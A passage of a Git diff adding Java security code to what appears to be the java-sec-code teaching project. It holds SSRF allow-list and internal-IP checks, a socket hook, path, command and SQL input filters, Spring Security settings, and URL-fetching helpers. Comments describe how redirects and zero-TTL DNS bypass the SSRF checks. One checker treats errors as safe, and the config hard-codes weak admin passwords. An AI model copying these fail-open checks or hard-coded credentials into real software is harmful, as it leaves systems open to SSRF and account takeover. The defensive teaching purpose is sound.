+import org.joychou.security.ssrf.SocketHook;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.net.URLDecoder;
+import java.util.ArrayList;
+import java.util.regex.Pattern;
+
+
+public class SecurityUtil {
+
+ private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
+ private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class);
+
+
+ /**
+ * Determine if the URL starts with HTTP.
+ *
+ * @param url url
+ * @return true or false
+ */
+ public static boolean isHttp(String url) {
+ return url.startsWith("http://") || url.startsWith("https://");
+ }
+
+
+ /**
+ * Get http url host.
+ *
+ * @param url url
+ * @return host
+ */
+ public static String gethost(String url) {
+ try {
+ URI uri = new URI(url);
+ return uri.getHost().toLowerCase();
+ } catch (URISyntaxException e) {
+ return "";
+ }
+ }
+
+
+ /**
+ * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。
+ * 优先判断黑名单,如果满足黑名单return null。
+ *
+ * @param url the url need to check
+ * @return Safe url returns original url; Illegal url returns null;
+ */
+ public static String checkURL(String url) {
+
+ if (null == url){
+ return null;
+ }
+
+ ArrayList safeDomains = WebConfig.getSafeDomains();
+ ArrayList blockDomains = WebConfig.getBlockDomains();
+
+ try {
+ String host = gethost(url);
+
+ // 必须http/https
+ if (!isHttp(url)) {
+ return null;
+ }
+
+ // 如果满足黑名单返回null
+ if (blockDomains.contains(host)){
+ return null;
+ }
+ for(String blockDomain: blockDomains) {
+ if(host.endsWith("." + blockDomain)) {
+ return null;
+ }
+ }
+
+ // 支持多级域名
+ if (safeDomains.contains(host)){
+ return url;
+ }
+
+ // 支持一级域名
+ for(String safedomain: safeDomains) {
+ if(host.endsWith("." + safedomain)) {
+ return url;
+ }
+ }
+ return null;
+ } catch (NullPointerException e) {
+ logger.error(e.toString());
+ return null;
+ }
+ }
+
+
+ /**
+ * 通过自定义白名单域名处理SSRF漏洞。如果URL范围收敛,强烈建议使用该方案。
+ * 这是最简单也最有效的修复方式。因为SSRF都是发起URL请求时造成,大多数场景是图片场景,一般图片的域名都是CDN或者OSS等,所以限定域名白名单即可完成SSRF漏洞修复。
+ *
+ * @author JoyChou @ 2020-03-30
+ * @param url 需要校验的url
+ * @return Safe url returns true. Dangerous url returns false.
+ */
+ public static boolean checkSSRFByWhitehosts(String url) {
+ return SSRFChecker.checkURLFckSSRF(url);
+ }
+
+
+ /**
+ * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。
+ *
+ * 存在的问题:
+ * 1、会主动发起请求,可能会有性能问题
+ * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案
+ * 3、TTL设置为0会被绕过
+ *
+ * @param url check的url
+ * @return 安全返回true,危险返回false
+ */
+ @Deprecated
+ public static boolean checkSSRF(String url) {
+ int checkTimes = 10;
+ return SSRFChecker.checkSSRF(url, checkTimes);
+ }
+
+
+ /**
+ * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。
+ *
+ * 存在问题:
+ * 1、TTL为0会被绕过
+ * 2、使用重定向可绕过
+ *
+ * @param url The url that needs to check.
+ * @return Safe url returns true. Dangerous url returns false.
+ */
+ public static boolean checkSSRFWithoutRedirect(String url) {
+ if(url == null) {
+ return false;
+ }
+ return !SSRFChecker.isInternalIpByUrl(url);
+ }
+
+ /**
+ * Check ssrf by hook socket. Start socket hook.
+ *
+ * @author liergou @ 2020-04-04 02:15
+ */
+ public static void startSSRFHook() throws IOException {
+ SocketHook.startHook();
+ }
+
+ /**
+ * Close socket hook.
+ *
+ * @author liergou @ 2020-04-04 02:15
+ **/
+ public static void stopSSRFHook(){
+ SocketHook.stopHook();
+ }
+
+
+
+ /**
+ * Filter file path to prevent path traversal vulns.
+ *
+ * @param filepath file path
+ * @return illegal file path return null
+ */
+ public static String pathFilter(String filepath) {
+ String temp = filepath;
+
+ // use while to sovle multi urlencode
+ while (temp.indexOf('%') != -1) {
+ try {
+ temp = URLDecoder.decode(temp, "utf-8");
+ } catch (UnsupportedEncodingException e) {
+ logger.info("Unsupported encoding exception: " + filepath);
+ return null;
+ } catch (Exception e) {
+ logger.info(e.toString());
+ return null;
+ }
+ }
+
+ if (temp.contains("..") || temp.charAt(0) == '/') {
+ return null;
+ }
+
+ return filepath;
+ }
+
+
+ public static String cmdFilter(String input) {
+ if (!FILTER_PATTERN.matcher(input).matches()) {
+ return null;
+ }
+
+ return input;
+ }
+
+
+ /**
+ * 过滤mybatis中order by不能用#的情况。
+ * 严格限制用户输入只能包含a-zA-Z0-9_-.字符。
+ *
+ * @param sql sql
+ * @return 安全sql,否则返回null
+ */
+ public static String sqlFilter(String sql) {
+ if (!FILTER_PATTERN.matcher(sql).matches()) {
+ return null;
+ }
+ return sql;
+ }
+
+ /**
+ * 将非0-9a-zA-Z/-.的字符替换为空
+ *
+ * @param str 字符串
+ * @return 被过滤的字符串
+ */
+ public static String replaceSpecialStr(String str) {
+ StringBuilder sb = new StringBuilder();
+ str = str.toLowerCase();
+ for(int i = 0; i < str.length(); i++) {
+ char ch = str.charAt(i);
+ // 如果是0-9
+ if (ch >= 48 && ch <= 57 ){
+ sb.append(ch);
+ }
+ // 如果是a-z
+ else if(ch >= 97 && ch <= 122) {
+ sb.append(ch);
+ }
+ else if(ch == '/' || ch == '.' || ch == '-'){
+ sb.append(ch);
+ }
+ }
+
+ return sb.toString();
+ }
+
+ public static void main(String[] args) {
+ }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java
new file mode 100644
index 00000000..5e8c3697
--- /dev/null
+++ b/src/main/java/org/joychou/security/WebSecurityConfig.java
@@ -0,0 +1,110 @@
+package org.joychou.security;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
+import org.springframework.security.config.annotation.web.builders.HttpSecurity;
+import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
+import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
+import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
+import org.springframework.security.web.util.matcher.RequestMatcher;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.CorsConfigurationSource;
+import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+
+import javax.servlet.http.HttpServletRequest;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+
+
+/**
+ * Congifure csrf
+ *
+ */
+@EnableWebSecurity
+@Configuration
+public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
+
+ @Value("${joychou.security.csrf.enabled}")
+ private Boolean csrfEnabled = false;
+
+ @Value("${joychou.security.csrf.exclude.url}")
+ private String[] csrfExcludeUrl;
+
+ @Value("${joychou.security.csrf.method}")
+ private String[] csrfMethod = {"POST"};
+
+ private RequestMatcher csrfRequestMatcher = new RequestMatcher() {
+
+ @Override
+ public boolean matches(HttpServletRequest request) {
+
+ // 配置需要CSRF校验的请求方式,
+ HashSet allowedMethods = new HashSet<>(Arrays.asList(csrfMethod));
+ // return false表示不校验csrf
+ if (!csrfEnabled) {
+ return false;
+ }
+ return allowedMethods.contains(request.getMethod());
+ }
+
+ };
+
+ @Override
+ protected void configure(HttpSecurity http) throws Exception {
+ // 默认token存在session里,用CookieCsrfTokenRepository改为token存在cookie里。
+ // 但存在后端多台服务器情况,session不能同步的问题,所以一般使用cookie模式。
+ http.csrf()
+ .requireCsrfProtectionMatcher(csrfRequestMatcher)
+ .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri,多个uri使用逗号分隔
+ .csrfTokenRepository(new CookieCsrfTokenRepository());
+ http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler());
+ // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());«
+
+ http.cors();
+
+ // spring security login settings
+ http.authorizeRequests()
+ .antMatchers("/css/**", "/js/**").permitAll() // permit static resources
+ .anyRequest().authenticated().and() // any request authenticated except above static resources
+ .formLogin().loginPage("/login").permitAll() // permit all to access /login page
+ .successHandler(new LoginSuccessHandler())
+ .failureHandler(new LoginFailureHandler()).and()
+ .logout().logoutUrl("/logout").permitAll().and()
+ // tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会话将过期。为了解决这一问题,引入rememberMe功能。
+ .rememberMe();
+ }
+
+ /**
+ * Global cors configure
+ */
+ @Bean
+ CorsConfigurationSource corsConfigurationSource()
+ {
+ // Set cors origin white list
+ ArrayList allowOrigins = new ArrayList<>();
+ allowOrigins.add("joychou.org");
+ allowOrigins.add("https://test.joychou.me"); // 区分http和https,并且默认不会拦截同域请求。
+
+ CorsConfiguration configuration = new CorsConfiguration();
+ configuration.setAllowedOrigins(allowOrigins);
+ configuration.setAllowCredentials(true);
+ configuration.setAllowedMethods(Arrays.asList("GET", "POST"));
+ UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
+ source.registerCorsConfiguration("/cors/sec/httpCors", configuration); // ant style
+ return source;
+ }
+
+ @Autowired
+ public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
+ auth
+ .inMemoryAuthentication()
+ .withUser("joychou").password("joychou123").roles("USER").and()
+ .withUser("admin").password("admin123").roles("USER", "ADMIN");
+ }
+}
+
+
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
new file mode 100644
index 00000000..01b1b350
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -0,0 +1,182 @@
+package org.joychou.security.ssrf;
+
+import java.net.HttpURLConnection;
+import java.net.InetAddress;
+import java.net.URI;
+import java.net.URL;
+import java.util.ArrayList;
+
+import org.apache.commons.lang.StringUtils;
+import org.apache.commons.net.util.SubnetUtils;
+import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+public class SSRFChecker {
+
+ private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class);
+
+ public static boolean checkURLFckSSRF(String url) {
+ if (null == url) {
+ return false;
+ }
+
+ ArrayList ssrfSafeDomains = WebConfig.getSsrfSafeDomains();
+ try {
+ String host = SecurityUtil.gethost(url);
+
+ // 必须http/https
+ if (!SecurityUtil.isHttp(url)) {
+ return false;
+ }
+
+ if (ssrfSafeDomains.contains(host)) {
+ return true;
+ }
+ for (String ssrfSafeDomain : ssrfSafeDomains) {
+ if (host.endsWith("." + ssrfSafeDomain)) {
+ return true;
+ }
+ }
+ } catch (Exception e) {
+ logger.error(e.toString());
+ return false;
+ }
+ return false;
+ }
+
+ /**
+ * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。
+ * url只允许https或者http,并且设置默认连接超时时间。
+ * 该修复方案会主动请求重定向后的链接。
+ *
+ * @param url check的url
+ * @param checkTimes 设置重定向检测的最大次数,建议设置为10次
+ * @return 安全返回true,危险返回false
+ */
+ public static boolean checkSSRF(String url, int checkTimes) {
+
+ HttpURLConnection connection;
+ int connectTime = 5 * 1000; // 设置连接超时时间5s
+ int i = 1;
+ String finalUrl = url;
+ try {
+ do {
+ // 判断当前请求的URL是否是内网ip
+ if (isInternalIpByUrl(finalUrl)) {
+ logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl);
+ return false; // 内网ip直接return,非内网ip继续判断是否有重定向
+ }
+
+ connection = (HttpURLConnection) new URL(finalUrl).openConnection();
+ connection.setInstanceFollowRedirects(false);
+ connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL
+ connection.setConnectTimeout(connectTime);
+ //connection.setRequestMethod("GET");
+ connection.connect(); // send dns request
+ int responseCode = connection.getResponseCode(); // 发起网络请求
+ if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) {
+ String redirectedUrl = connection.getHeaderField("Location");
+ if (null == redirectedUrl)
+ break;
+ finalUrl = redirectedUrl;
+ i += 1; // 重定向次数加1
+ logger.info("redirected url: " + finalUrl);
+ if (i == checkTimes) {
+ return false;
+ }
+ } else
+ break;
+ } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK);
+ connection.disconnect();
+ } catch (Exception e) {
+ return true; // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。
+ }
+ return true; // 默认返回true
+ }
+
+
+ /**
+ * 判断一个URL的IP是否是内网IP
+ *
+ * @return 如果是内网IP,返回true;非内网IP,返回false。
+ */
+ public static boolean isInternalIpByUrl(String url) {
+
+ String host = url2host(url);
+ if (host.equals("")) {
+ return true; // 异常URL当成内网IP等非法URL处理
+ }
+
+ String ip = host2ip(host);
+ if (ip.equals("")) {
+ return true; // 如果域名转换为IP异常,则认为是非法URL
+ }
+
+ return isInternalIp(ip);
+ }
+
+
+ /**
+ * 使用SubnetUtils库判断ip是否在内网网段
+ *
+ * @param strIP ip字符串
+ * @return 如果是内网ip,返回true,否则返回false。
+ */
+ static boolean isInternalIp(String strIP) {
+ if (StringUtils.isEmpty(strIP)) {
+ logger.error("[-] SSRF check failed. IP is empty. " + strIP);
+ return true;
+ }
+
+ ArrayList blackSubnets = WebConfig.getSsrfBlockIps();
+ for (String subnet : blackSubnets) {
+ SubnetUtils utils = new SubnetUtils(subnet);
+ if (utils.getInfo().isInRange(strIP)) {
+ logger.error("[-] SSRF check failed. Internal IP: " + strIP);
+ return true;
+ }
+ }
+
+ return false;
+
+ }
+
+ /**
+ * host转换为IP
+ * 会将各种进制的ip转为正常ip
+ * 167772161转换为10.0.0.1
+ * 127.0.0.1.xip.io转换为127.0.0.1
+ *
+ * @param host 域名host
+ */
+ private static String host2ip(String host) {
+ try {
+ InetAddress IpAddress = InetAddress.getByName(host); // send dns request
+ return IpAddress.getHostAddress();
+ } catch (Exception e) {
+ return "";
+ }
+ }
+
+ /**
+ * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。
+ *
+ * @param url http的url
+ */
+ private static String url2host(String url) {
+ try {
+ // 使用URI,而非URL,防止被绕过。
+ URI u = new URI(url);
+ if (SecurityUtil.isHttp(url)) {
+ return u.getHost();
+ }
+ return "";
+ } catch (Exception e) {
+ return "";
+ }
+ }
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java
new file mode 100644
index 00000000..817c881e
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java
@@ -0,0 +1,15 @@
+package org.joychou.security.ssrf;
+
+
+/**
+ * SSRFException
+ *
+ * @author JoyChou @2020-04-04
+ */
+public class SSRFException extends RuntimeException {
+
+ SSRFException(String s) {
+ super(s);
+ }
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java
new file mode 100644
index 00000000..4ce3509c
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java
@@ -0,0 +1,27 @@
+package org.joychou.security.ssrf;
+
+import java.io.IOException;
+import java.net.Socket;
+import java.net.SocketException;
+
+
+/**
+ * Socket Hook switch
+ *
+ * @author liergou @ 2020-04-04 02:12
+ */
+public class SocketHook {
+
+ public static void startHook() throws IOException {
+ SocketHookFactory.initSocket();
+ SocketHookFactory.setHook(true);
+ try{
+ Socket.setSocketImplFactory(new SocketHookFactory());
+ }catch (SocketException ignored){
+ }
+ }
+
+ public static void stopHook(){
+ SocketHookFactory.setHook(false);
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
new file mode 100644
index 00000000..dc6d951d
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java
@@ -0,0 +1,88 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.net.Socket;
+import java.net.SocketImpl;
+import java.net.SocketImplFactory;
+
+
+/**
+ * socket factory impl
+ *
+ * @author liergou @ 2020-04-03 23:41
+ */
+public class SocketHookFactory implements SocketImplFactory {
+
+
+ private static Boolean isHook = false;
+ private static Constructor socketConstructor = null;
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ /**
+ * @param set hook switch
+ */
+ static void setHook(Boolean set) {
+ isHook = set;
+ }
+
+
+ static void initSocket() {
+
+ if (socketConstructor != null) {
+ return;
+ }
+
+ Socket socket = new Socket();
+ try {
+ // get impl field in Socket class
+ Field implField = Socket.class.getDeclaredField("impl");
+ implField.setAccessible(true);
+ Class> clazz = implField.get(socket).getClass();
+
+ SocketHookImpl.initSocketImpl(clazz);
+ socketConstructor = clazz.getDeclaredConstructor();
+ socketConstructor.setAccessible(true);
+
+ } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) {
+ throw new SSRFException("SocketHookFactory init failed!");
+ }
+
+ try {
+ socket.close();
+ } catch (IOException ignored) {
+
+ }
+ }
+
+
+ public SocketImpl createSocketImpl() {
+
+ if (isHook) {
+ try {
+ return new SocketHookImpl(socketConstructor);
+ } catch (Exception e) {
+ logger.error("Socket hook failed!");
+ try {
+ return (SocketImpl) socketConstructor.newInstance();
+ } catch (InstantiationException | IllegalAccessException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+ } else {
+ try {
+ return (SocketImpl) socketConstructor.newInstance();
+ } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) {
+ logger.error(e.toString());
+ }
+ }
+
+ return null;
+ }
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
new file mode 100644
index 00000000..799ca0e5
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java
@@ -0,0 +1,269 @@
+package org.joychou.security.ssrf;
+
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.net.*;
+
+
+/**
+ * Socket impl
+ *
+ * @author liergou @ 2020-04-02 23:39
+ */
+public class SocketHookImpl extends SocketImpl implements SocketOptions {
+
+ private static Boolean isInit = false;
+
+ private static SocketImpl socketImpl = null;
+ private static Method createImpl;
+ private static Method connectHostImpl;
+ private static Method connectInetAddressImpl;
+ private static Method connectSocketAddressImpl;
+ private static Method bindImpl;
+ private static Method listenImpl;
+ private static Method acceptImpl;
+ private static Method getInputStreamImpl;
+ private static Method getOutputStreamImpl;
+ private static Method availableImpl;
+ private static Method closeImpl;
+ private static Method shutdownInputImpl;
+ private static Method shutdownOutputImpl;
+ private static Method sendUrgentDataImpl;
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+ SocketHookImpl(Constructor socketConstructor) throws IllegalAccessException,
+ InvocationTargetException, InstantiationException {
+ socketImpl = (SocketImpl) socketConstructor.newInstance();
+ }
+
+
+ /**
+ * Init reflect method.
+ *
+ * @author liergou
+ */
+ static void initSocketImpl(Class> initSocketImpl) {
+
+ if (initSocketImpl == null) {
+ SocketHookFactory.setHook(false);
+ throw new RuntimeException("InitSocketImpl failed! Hook stopped!");
+ }
+
+ if (!isInit) {
+ createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class>[]{boolean.class});
+ connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{String.class, int.class});
+ connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{InetAddress.class, int.class});
+ connectSocketAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class>[]{SocketAddress.class, int.class});
+ bindImpl = SocketHookUtils.findMethod(initSocketImpl, "bind", new Class>[]{InetAddress.class, int.class});
+ listenImpl = SocketHookUtils.findMethod(initSocketImpl, "listen", new Class>[]{int.class});
+ acceptImpl = SocketHookUtils.findMethod(initSocketImpl, "accept", new Class>[]{SocketImpl.class});
+ getInputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getInputStream", new Class>[]{});
+ getOutputStreamImpl = SocketHookUtils.findMethod(initSocketImpl, "getOutputStream", new Class>[]{});
+ availableImpl = SocketHookUtils.findMethod(initSocketImpl, "available", new Class>[]{});
+ closeImpl = SocketHookUtils.findMethod(initSocketImpl, "close", new Class>[]{});
+ shutdownInputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownInput", new Class>[]{});
+ shutdownOutputImpl = SocketHookUtils.findMethod(initSocketImpl, "shutdownOutput", new Class>[]{});
+ sendUrgentDataImpl = SocketHookUtils.findMethod(initSocketImpl, "sendUrgantData", new Class>[]{int.class});
+ isInit = true;
+ }
+ }
+
+
+ /**
+ * socket base method impl
+ */
+ @Override
+ protected void create(boolean stream) {
+ try {
+ createImpl.invoke(socketImpl, stream);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+
+ @Override
+ protected void connect(String host, int port) {
+ logger.info("host: " + host + "\tport: " + port);
+ try {
+ connectHostImpl.invoke(socketImpl, host, port);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+
+ @Override
+ protected void connect(InetAddress address, int port) {
+
+ logger.info("InetAddress: " + address.toString());
+
+ try {
+ if (SSRFChecker.isInternalIp(address.getHostAddress())) {
+ throw new RuntimeException("Socket SSRF check failed. InetAddress:" + address.toString());
+ }
+ connectInetAddressImpl.invoke(socketImpl, address, port);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void connect(SocketAddress address, int timeout) {
+
+ // convert SocketAddress to InetSocketAddress
+ InetSocketAddress addr = (InetSocketAddress) address;
+
+ String ip = addr.getAddress().getHostAddress();
+ String host = addr.getHostName();
+ logger.info(String.format("[+] SocketAddress address's Hostname: %s IP: %s", host, ip));
+
+ try {
+ if (SSRFChecker.isInternalIp(ip)) {
+ throw new SSRFException(String.format("[-] SSRF check failed. Hostname: %s IP: %s", host, ip));
+ }
+ connectSocketAddressImpl.invoke(socketImpl, address, timeout);
+ } catch (IllegalAccessException | IllegalArgumentException |
+ InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void bind(InetAddress host, int port) {
+ try {
+ bindImpl.invoke(socketImpl, host, port);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void listen(int backlog) {
+
+ try {
+ listenImpl.invoke(socketImpl, backlog);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void accept(SocketImpl s) {
+
+ try {
+ acceptImpl.invoke(socketImpl, s);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected InputStream getInputStream() {
+ InputStream inStream = null;
+
+ try {
+ inStream = (InputStream) getInputStreamImpl.invoke(socketImpl);
+ } catch (ClassCastException | InvocationTargetException |
+ IllegalArgumentException | IllegalAccessException ex) {
+ logger.error(ex.toString());
+ }
+
+ return inStream;
+ }
+
+ @Override
+ protected OutputStream getOutputStream() {
+ OutputStream outStream = null;
+
+ try {
+ outStream = (OutputStream) getOutputStreamImpl.invoke(socketImpl);
+ } catch (ClassCastException | IllegalArgumentException |
+ IllegalAccessException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ return outStream;
+ }
+
+ @Override
+ protected int available() {
+
+ int result = -1;
+
+ try {
+ result = (Integer) availableImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ return result;
+ }
+
+ @Override
+ protected void close() {
+ try {
+ closeImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ @Override
+ protected void shutdownInput() {
+ try {
+ shutdownInputImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void shutdownOutput() {
+ try {
+ shutdownOutputImpl.invoke(socketImpl);
+ } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) {
+ logger.error(ex.toString());
+ }
+
+ }
+
+ @Override
+ protected void sendUrgentData(int data) {
+ try {
+ sendUrgentDataImpl.invoke(socketImpl, data);
+ } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) {
+ logger.error(ex.toString());
+ }
+ }
+
+ public void setOption(int optID, Object value) throws SocketException {
+ if (null != socketImpl) {
+ socketImpl.setOption(optID, value);
+ }
+ }
+
+ public Object getOption(int optID) throws SocketException {
+ return socketImpl.getOption(optID);
+ }
+
+ /*
+ * Dont impl other child method now. Don't be sure where will use it.
+ *
+ */
+
+
+}
diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
new file mode 100644
index 00000000..00f6c275
--- /dev/null
+++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java
@@ -0,0 +1,27 @@
+package org.joychou.security.ssrf;
+
+import java.lang.reflect.Method;
+
+class SocketHookUtils {
+
+ /**
+ * Poll the parent class to find the reflection method.
+ * SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl
+ *
+ * @author liergou @2020-04-04 01:43
+ */
+ static Method findMethod(Class> clazz, String findName, Class>[] args) {
+
+ while (clazz != null) {
+ try {
+ Method method = clazz.getDeclaredMethod(findName, args);
+ method.setAccessible(true);
+ return method;
+ } catch (NoSuchMethodException e) {
+ clazz = clazz.getSuperclass();
+ }
+ }
+ return null;
+ }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
new file mode 100644
index 00000000..4d2be1a4
--- /dev/null
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -0,0 +1,212 @@
+package org.joychou.util;
+
+import com.squareup.okhttp.OkHttpClient;
+import org.apache.commons.httpclient.HttpClient;
+import org.apache.commons.httpclient.methods.GetMethod;
+import org.apache.commons.io.IOUtils;
+import org.apache.http.HttpResponse;
+import org.apache.http.client.config.RequestConfig;
+import org.apache.http.client.fluent.Request;
+import org.apache.http.client.methods.HttpGet;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClients;
+import org.apache.http.impl.nio.client.CloseableHttpAsyncClient;
+import org.apache.http.impl.nio.client.HttpAsyncClients;
+import org.apache.http.util.EntityUtils;
+import org.jsoup.Jsoup;
+import org.jsoup.nodes.Document;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import javax.imageio.ImageIO;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.HttpURLConnection;
+import java.net.URI;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.concurrent.*;
+
+/**
+ * @author JoyChou 2020-04-06
+ */
+public class HttpUtils {
+
+ private static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
+
+ public static String commonHttpClient(String url) {
+
+ HttpClient client = new HttpClient();
+ GetMethod method = new GetMethod(url);
+
+ try {
+ client.executeMethod(method); // send request
+ byte[] resBody = method.getResponseBody();
+ return new String(resBody);
+
+ } catch (IOException e) {
+ return "Error: " + e.getMessage();
+ } finally {
+ // Release the connection.
+ method.releaseConnection();
+ }
+ }
+
+
+ public static String request(String url) {
+ try {
+ return Request.Get(url).execute().returnContent().toString();
+ } catch (Exception e) {
+ return e.getMessage();
+ }
+ }
+
+
+ public static String httpClient(String url) {
+
+ StringBuilder result = new StringBuilder();
+
+ try {
+
+ CloseableHttpClient client = HttpClients.createDefault();
+ HttpGet httpGet = new HttpGet(url);
+ // set redirect enable false
+ // httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build());
+ HttpResponse httpResponse = client.execute(httpGet); // send request
+ BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
+
+ String line;
+ while ((line = rd.readLine()) != null) {
+ result.append(line);
+ }
+
+ return result.toString();
+
+ } catch (Exception e) {
+ return e.getMessage();
+ }
+ }
+
+
+ public static String URLConnection(String url) {
+ try {
+ URL u = new URL(url);
+ URLConnection urlConnection = u.openConnection();
+ BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
+ // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
+ String inputLine;
+ StringBuilder html = new StringBuilder();
+
+ while ((inputLine = in.readLine()) != null) {
+ html.append(inputLine);
+ }
+ in.close();
+ return html.toString();
+ } catch (Exception e) {
+ logger.error(e.getMessage());
+ return e.getMessage();
+ }
+ }
+
+
+ public static String HTTPURLConnection(String url) {
+ try {
+ URL u = new URL(url);
